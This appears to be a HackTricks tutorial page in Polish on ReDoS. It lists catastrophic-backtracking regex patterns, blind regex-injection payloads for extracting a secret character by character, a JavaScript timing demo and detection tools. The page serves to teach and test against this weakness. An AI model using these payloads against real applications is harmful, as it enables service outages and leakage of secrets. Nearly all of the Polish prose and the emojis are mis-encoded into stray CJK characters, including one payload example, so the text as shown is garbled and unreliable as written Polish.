# Regular expression Denial of Service - ReDoS
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
# Regular Expression Denial of Service (ReDoS)
**Denial of Service z powodu wyra偶enia regularnego (ReDoS)** ma miejsce, gdy kto艣 wykorzystuje s艂abo艣ci w dzia艂aniu wyra偶e艅 regularnych (spos贸b na wyszukiwanie i dopasowywanie wzorc贸w w tek艣cie). Czasami, gdy u偶ywa si臋 wyra偶e艅 regularnych, mog膮 one sta膰 si臋 bardzo wolne, szczeg贸lnie je艣li tekst, z kt贸rym pracuj膮, staje si臋 wi臋kszy. Ta wolno艣膰 mo偶e by膰 tak z艂a, 偶e ro艣nie naprawd臋 szybko nawet przy niewielkich zwi臋kszeniach rozmiaru tekstu. Atakuj膮cy mog膮 wykorzysta膰 ten problem, aby spowodowa膰, 偶e program u偶ywaj膮cy wyra偶e艅 regularnych przestanie dzia艂a膰 poprawnie na d艂ugi czas.
## Problematyczny algorytm regex naiwno艣ci
**Sprawd藕 szczeg贸艂y w [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Z艂e wyra偶enia regularne
Z艂y wz贸r wyra偶enia regularnego to taki, kt贸ry mo偶e **utkn膮膰 na stworzonym wej艣ciu, powoduj膮c DoS**. Z艂e wzory regex zazwyczaj zawieraj膮 grupowanie z powt贸rzeniem oraz powt贸rzenie lub alternatyw臋 z nak艂adaj膮cymi si臋 elementami wewn膮trz powt贸rzonej grupy. Niekt贸re przyk艂ady z艂ych wzor贸w to:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} dla x > 10
Wszystkie te wzory s膮 podatne na wej艣cie `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## 艁adunki ReDoS
### Ekstrakcja ci膮gu za pomoc膮 ReDoS
W CTF (lub bug bounty) by膰 mo偶e **kontrolujesz regex, z kt贸rym dopasowywana jest wra偶liwa informacja (flaga)**. Wtedy mo偶e by膰 przydatne, aby **strona zamar艂a (przekroczenie czasu lub d艂u偶szy czas przetwarzania)**, je艣li **regex dopasowa艂** i **nie, je艣li nie dopasowa艂**. W ten spos贸b b臋dziesz m贸g艂 **ekstrahowa膰** ci膮g **znak po znaku**:
* W [**tym po艣cie**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) mo偶esz znale藕膰 t臋 regu艂臋 ReDoS: `^(?=)((.*)*)*salt$`
* Przyk艂ad: `^(?=HTB{sOmE_fl搂N搂)((.*)*)*salt$`
* W [**tym opisie**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) mo偶esz znale藕膰 ten: `(((((((.*)*)*)*)*)*)*)!`
* W [**tym opisie**](https://ctftime.org/writeup/25869) u偶yto: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### Kontrolowanie wej艣cia i regexu w ReDoS
Poni偶ej znajduj膮 si臋 przyk艂ady **ReDoS**, w kt贸rych **kontrolujesz** zar贸wno **wej艣cie**, jak i **regex**:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Narz臋dzia
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
## Odniesienia
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
Ucz si臋 i 膰wicz Hacking AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Ucz si臋 i 膰wicz Hacking GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Wsparcie HackTricks
* Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel si臋 trikami hackingowymi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}